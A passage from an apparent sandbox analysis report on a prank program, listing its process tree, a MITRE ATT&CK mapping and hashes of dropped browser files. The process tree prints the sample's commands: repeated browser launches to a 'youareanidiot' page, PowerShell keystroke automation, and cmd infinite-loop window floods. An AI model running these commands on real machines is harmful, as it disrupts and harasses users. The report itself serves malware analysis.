      where firefox
      4⤵
      PID:5056
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:3408
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:2252
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1960 -prefsLen 27097 -prefMapHandle 1964 -prefMapSize 270279 -ipcHandle 2036 -initialChannelId {c03ade75-6ee5-44a5-b8b8-b55309c6d037} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:1228
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2436 -prefsLen 27133 -prefMapHandle 2440 -prefMapSize 270279 -ipcHandle 2448 -initialChannelId {3a02eec6-886b-40bf-a5f7-702eed6c7e5b} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:5624
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3884 -prefsLen 25164 -prefMapHandle 3888 -prefMapSize 270279 -jsInitHandle 3892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3900 -initialChannelId {51207c57-e660-4c62-8fff-fe770293a615} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        
        PID:6416
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4076 -prefsLen 27274 -prefMapHandle 4080 -prefMapSize 270279 -ipcHandle 4168 -initialChannelId {7cd90dec-5c2e-40c4-97c5-5f443c7c5b93} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:6444
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3028 -prefsLen 34773 -prefMapHandle 3088 -prefMapSize 270279 -jsInitHandle 3092 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2980 -initialChannelId {1c4c6776-67b5-4df4-a7fd-d4239d96c4e6} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        
        PID:6668
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 4896 -prefsLen 34876 -prefMapHandle 4900 -prefMapSize 270279 -ipcHandle 4908 -initialChannelId {d8f21ca5-3926-4ba6-9194-9691b89a90fd} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        
        PID:7740
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3912 -prefsLen 35010 -prefMapHandle 5264 -prefMapSize 270279 -ipcHandle 5280 -initialChannelId {0d79fbcc-25bc-499a-9484-40d22178a5cd} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility
        6⤵
        
        PID:6864
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2320 -prefsLen 32952 -prefMapHandle 2596 -prefMapSize 270279 -jsInitHandle 5216 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5424 -initialChannelId {3d000a23-c3ee-4917-ad71-0804353a0c8c} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        
        PID:7156
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5672 -prefsLen 32952 -prefMapHandle 5676 -prefMapSize 270279 -jsInitHandle 5680 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5684 -initialChannelId {196c6401-7532-48f4-9127-68103ce5a6ae} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        
        PID:4296
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5696 -prefsLen 32952 -prefMapHandle 5700 -prefMapSize 270279 -jsInitHandle 5704 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5712 -initialChannelId {1649329f-beda-4282-8ff5-c0a1f9f5cdf5} -parentPid 2252 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2252" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        
        PID:2556
  - - C:\Windows\system32\where.exe
      where brave
      4⤵
      PID:4492
  - - C:\Windows\system32\where.exe
      where opera
      4⤵
      PID:3532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{TAB}{TAB}{ENTER}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{TAB}{TAB}{ENTER}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6268
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 1 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7436
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 2 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7444
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 3 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7452
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 4 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7460
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 5 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7468
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 6 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7476
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 7 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7484
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 8 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7492
  - - C:\Windows\system32\cmd.exe
      cmd /c "color 0a & title Flood Window 9 & :a & echo 18154 4637 3788 15700 17838 & goto a"
      4⤵
      Executes a command shell one-liner
      PID:7500

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3424

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:7124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:6292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000004

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000004
Size 29KB
SHA256 945b1879933bbc5258e255af8c56c4875858f0129b99428afebf9ea8bc1c54d9
MD5 dc19fcb6d8c1dcead0ce6eb87aaf0d72
SHA1 f113f177cb1ce1d6350b71d905deeca581cb4e26
SHA512 d0427195840632ce55a634865ef43771957879ca1bdb55d8fad07a4996d4e0f3dfff8af583bd8365231e2b24c9d6880da5f7d82087d17e4bbad42bdc7544fed5
SSDEEP 768:tW5M611wnYrzb63j7R/KOjhAq+4uzCe++dK:Ev1hm3j7R/KQVruGl+dK
TLSH
T198D2E19BF3A18B478940263CB9734BC693FFA01424C5DD125758A8D47707FE0E8AA6F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 144B
SHA256 b2179143ce53123ddde6a38dd18f4ff0bac9b285ea088feee09395f80acb9e7c
MD5 cd37c47cf0429b702c020865ffde6496
SHA1 80e59afdd4f99b92058ce1666e90da283ee0c92a
SHA512 1db9e954d96e51214f307eb3de34934b852d0328f48dbe18d164b34f5daf0ba77ac49310aaacee0a2682ac0bfc45e609a7c1d245ced16cfa0c4a9a49e3a16757
TLSH
T10FC0928078886996CBA6423018AB0C6165301E64213252C38F9004D986172F15A09044
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 2ba04f199ce80c7b3ed8cec0dd0be803cbc4263fb25051fe5ef64d11458d5374
MD5 591821032123064fb56ea6ebb2c4d29c
SHA1 68fe06975b520a4aaf90c8dfb81fb16bae87b997
SHA512 1395c0ef73839f423d911b13a98ec93c0c2b417a5c997441f586759d417cc93ca5cfd1037cb08a8011eb550ada8816817870b69837560181ccd7949f0810c2eb
TLSH
T1E2519EF7C3D4C67DC91156F49B156E1BCE6E0A18422C3C26CAE5BF5B63E28B1D21068E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 2a416747e14e3168330b76b72a9c4de2130ef085bfab10b4c8f8a9cf04c32103
MD5 78cb9a370d59a62f6dd4d3fe3f2c4077
SHA1 d087bceab79de92eb76f99a8f02ab1b676085a99
SHA512 4545fb1bea2c7752d80c6b4a3a00b90472c7acd037443ff612d8e6958f8e52dcc6ae771168098041d56828d16d4c9ee2918aaf58261aed1b999010b68c996b34
SSDEEP 192:dR3Ib427Kv7DvAPRp2ou964Hsb+WNnIezO8I2mbZQkwjpVyIsnAUgR:dR3atGH6XibwdzI25DPR
TLSH
T18C32A73EB965297B6DCFC22AF9217B53E7F5102221902E84E7FC992C10E7ACC6217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 9719541f7098bfcca78b4ffab171436c30901e03b982d689ef5df137a69a4ddc
MD5 e4dc20072551c07db12800993b63bbe9
SHA1 f23e0d02a19d474009714944629394152d88babd
SHA512 c1c2c2477279f391de8b5c4df4bc55e82169089c698cd73b56555851f3391f6cf6f3a682609a66196b4bbbab9b9b11ced528053d7dc566bc30177844db78a922
SSDEEP 192:dR3Ib427Kv7DvxPRp9ou964Hsb+WNnIezO8I2dbZQkwNpVyIsnAUgL:dR3atGHRX5bwdzI2ktPL
TLSH
T12642B83EB965297B6DCED22AF9117B53E7F5102221902E84E7FCD92C10E7ACC6217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 390b2d3da343041b4bb8f377de5389830979e5acb4b3a32e271d3fc5ca5a1343
MD5 f1d1ecef56c7515367970c4fb9982059
SHA1 f06f19e7b260ec45dd7c1a7473c6305622fd3c3a
SHA512 a5481cc24a9c749706ccf1c802022ff66c5e4d682f43b0c45ac900e833baffe27ddc9adb95fce5e8f155b66a2304931e49547d326b46f4ed7e1b489b5b41a529
SSDEEP 192:esz4K6mQ7KxkXqK4I40pUZNCgVLHrKHfFKslEZESXzKD/pQ+ErUkKN93jCxBRq2q:lzjxQ7KxkXqKf/pUZNCgVLH2HfgslzS4
TLSH
T13232E827A48E9A3F0FD8D51CD8136F4BADF5425262280D2496FBAD0803E97CA115A5F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 124KB
SHA256 5e5a57b2095280dc4f470155b9202df90fa54b5df6a895dcc8dab3ebd66a3efd
MD5 8651556b13a931ea61c02c7111d73519
SHA1 f6c907b51b40dde637dfeec7c1b4437e64bcae8e
SHA512 fe81bfa09d8cbd91420478daeea0e5ee7f2aa9998c34e25757c34560651ad123bac6d27ba31b4a46398f3000f3e14f1e66224fd4ec3ae8a5c2ff571bd3f493f7
SSDEEP 3072:QdLTq/HYb50P4w9J4aDvC3QXhbx+WIzZ2l+1hbAH:Q8i0Aw9NDv+qw5ZtAH
TLSH
T184C312356F12CC774BC82466A41FDB4F9BC8FC2AD685EEE658D47B6D421A8DD202F110
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 124KB
SHA256 dc6581100c57e707fb4ba705ce3e55e52def21b30fef15ffbc04627dd55a147b
MD5 c933cfd376dd17802d5889c2c4ace13c
SHA1 2b85ab161a5bee614b67347e9cb4b3d616da7f6e
SHA512 17c49dcee9c3d2ac3df912816111c92b5d4a1235b412614b2379912c1a86a2bc7c70e5b47c10ee0a63240d2bcbaba956fdc77b903b84b3f95699088c2b7aa24e
SSDEEP 3072:hdLTq/HYb50P4w9J4aDvC3QXhbx+WIzZ2l+1hbAH:h8i0Aw9NDv+qw5ZtAH
TLSH
T15EC312316F13CC778BC82466A41FDB4F9EC8FC2AD685EEE658D4776D425A8DD202B110
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 edf7b85e68e56152e0b2f9fb522c1c02e68943e403dfd14bd6b075cac296d584
MD5 308df005767ef883e7f39ccc63c86dcd
SHA1 0bb279763cfb21a9a87739298feb0181801b90fa
SHA512 ac200b27c724e6b1096b12b028b7ae4d860f11106c3c8008af77c56ea36194fef3e299e1e44e184b73007b38a88508005f9b4676413d9823755d7c0906bfd66a
SSDEEP 96:gC0d+cAOIt5aDVmufj7jcbRDotok5cCD3B6/dGyv95Smhbb2Jv4a:gC0LA/TE57cDUD3xUweSmhbKl
TLSH
T168A11A7174A95EB75D79C585F4827E83CF68A153A9227F80D8DD1F0C10E70EC1382A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 892a93c504789a65a1e264f649c42e0777398eea9b836042660cb8187b925f0a
MD5 fe5fb8389ac1fe14b1b62369c7d746bd
SHA1 65249194c3d8016bfcdd01e23609362864899733
SHA512 e9880070cb3c42809453d8db2a7051b5508844e639da77a74ba1fdf352b74b311b16cc69d0a12bb7537caa7c7ba53a72826b56b07b50ac94597a622170b48c52
SSDEEP 96:CC6ld+cAOIt5aDVmufj72cMSl8h4otop5cpD3B6MGyv9JtFiO0AuSwPNtDm00j9P:CCmLA/TE57CiU2GxM+tFGSw1tDm0UZvt
TLSH
T1C4C13A70A8BD29732DFA9585F542BE43CEB4A167A9226E9489EE4F4C01D30DC1343A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 2460510491720cc58faa2f715f31bbd380133312b5253ab0fc0db41ba8b9cd68
MD5 31e1abd7bfe244a050cbeb812eea7aba
SHA1 f47a7d1cb96d69fe8c7c06f5e055993bce03183b
SHA512 3199a63d7b1b70bbfbc19d62be554a0bea47b381b14b4bbf1d70e277707cb55935dde56b0d9a755c802abaf1c394e37754a04f1259bb08cd27558336691074de
TLSH
T1F651B898437B08DED7710076ADD9DA693BBBBADC9007BEB59454357CAA0732480E0DE3
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a30d5.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a30d5.TMP
Size 2KB
SHA256 6b39398013fe829301fd2586a5432067f1c90b0f43e519f6488069e98dac7f93
MD5 2fc9001cb7a43659acd380506325c7cc
SHA1 78539178f2e2a79adf18c2616d31937b7d505725
SHA512 8f6e2fab3b18bb32a251382b7b8969c71b44f240af8e5a0b2dd3a44cead186199c1cdd70c9696f901e6a4726087b74bd3c4c31ec89bbd7d3280d5a493d70ef3f
TLSH
T1AC51C75C437B09CED77100B6ADD9D6593BBBBADC9007AEB95454353C694332480E0EE3
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 ff0a132dc482847dd3c822e4833b6c56a68d68d427fdc8ca55cf1638cfd9bfd9
MD5 5c561fd2746ffe404b835b69fa83b81e
SHA1 da867871fceeab03cf588084e0029df0817f5def
SHA512 343dafb19e35607da0f7df694073d43c46539176f5c4b37e47aa6d61de1cf9282a6621c282d3e9b5e41e9669834305ecd0c3137bd375457543a171c2580bc27d
TLSH
T10E717BF7C2E4866DC91156F0AA186E2BCE5D0A58422C3C5ACAE4EF1B93E24B1E14165F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 0b3793c0abcee9be950851b2c8087914c98260378c68b3bef4aafb96bb5415b1
MD5 8b3f859271ece332e005af7494a6de49
SHA1 ce17d9219108fd9d57b0491ef4d268d7689d2a76
SHA512 aea519e799df905f54940dc114b719edeaa5028a032215da4c5bdc1ba63496ecd52ec9051ebc3ca6efa643016200614d6c51a103484f4caa3d9d45bee25ea1d6
TLSH
T101718CF3C3E4866DC91156F0AA186E2BCE5D0A18422C3C5AC9E5FF1B93E2471E14165F
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 9d3bfe23a5367f9a7d30e013115c886f281d997c9bbe414f24dd0e1f2ba587a1
MD5 fa8aedfae8083560b53166fc1b162bbc
SHA1 a30db32d4c8de7bc0c5306dc9f8ce11465242e93
SHA512 f433f60beb47c18ad8f9392b14d21938635aa7bf94cab5d8331fe60ba44dd4f54267b269757b1cdd8dad6d30486a7932c109396a22452770f745333e069b0ac5
SSDEEP 192:sxRERaCa/ffslO9BprQ5zzoA8p9l/g6+WNPMV/YnW3hUG6IgVxJ:sxRE7a/ffslOP3D/5c/vRqd
TLSH
T1FC32D7166E68A93B4CCBD21DFB25BF53D2F95032A1D01E58A6FC9A0C00E76DD620780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 9ad9e00e9e8fa2e2ba6d166a1ff16d6ca32808a05f93493850908ad39928c514
MD5 75d4b9358955ec259566a64b0b2c8e7a
SHA1 c592d24157f89654a5a247358c3f2be34d339f72
SHA512 499de4ea4c5e36fbcd99285ad26c8b565eee08812f2866268f84a0569c98d92fa7035c7fe51b8f6a398178be522048b6ddd67aea3e015da7c58d6b1ac83eae60
SSDEEP 192:sxRTRaCa/ffsdO97prQ5zzoA8p9l/g6+WNPMV/YnWbhUG6IgD65J:sxRT7a/ffsdOh3D/5c/vtqk
TLSH
T1C442D7166D68A93B8CCFD21DFB55BF53D2F95032A1D01E18A6FC9A1C00E76DD620780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 b0eb081945d5c5015aa76be468a96a58406c6243ed096b4804f7c13572589465
MD5 f9d2da241b1dfebc7f57fe35c5808d93
SHA1 52e711733dfd4231b8c6304e6a1d93f66e0ac330
SHA512 082a53ddc87186530787efa909ab13a1f77e9e8be8d35686da834c95aedb07cd1400aa375a96f8a6130951be877ac9d8aabc4bcb29f6a6cbd9fa615be8c22cbc
SSDEEP 192:sxRTRaCa/ffsdO9BprQ5zzoA8p9l/g6+WNPMV/YnW3hUG6IgD6xJ:sxRT7a/ffsdOP3D/5c/vRq8
TLSH
T1F642E716AE68A93B4CCFD21DFB55BF53D2F95032A1D01E58A6FC9A1C00E76DD620780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 bf6f68e25d2f6c4c0ae72f7d35496f744a166fdcd2c46f3d5346e8e2fdc28262
MD5 9dbd9e3a750f7873ecb380d3c3545a01
SHA1 b3226823289aebe1455b32dcc72117045de26feb
SHA512 dd1fd1b040c6f3d688a0f1937112d2c4370a0cf38b38fa648ffac3dff1950b5daa87d95bd95e4cb3a242948878f70152c904e41319f413711d740f92dcf784cc
SSDEEP 768:wb8d2g7pLuL7r6WgoufmM8F1+UoAYDCx9Tuqh0VfUC9xbog/OVAu46srohAt5Z:wb8d2sE7r6WgoufmMu1jaLV63AP
TLSH
T1BCC2D97B740CCB7E4F800ADDE819BE9F6DA802CB5AD8CD4447FE951C02C6BEA51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5ab538.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5ab538.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 7f12fc699659643f126aa6f092de56153d2b5f85cce0d6a039554432a9eb48a9
MD5 e52851e0b81827522b4175a2f7b5a6f1
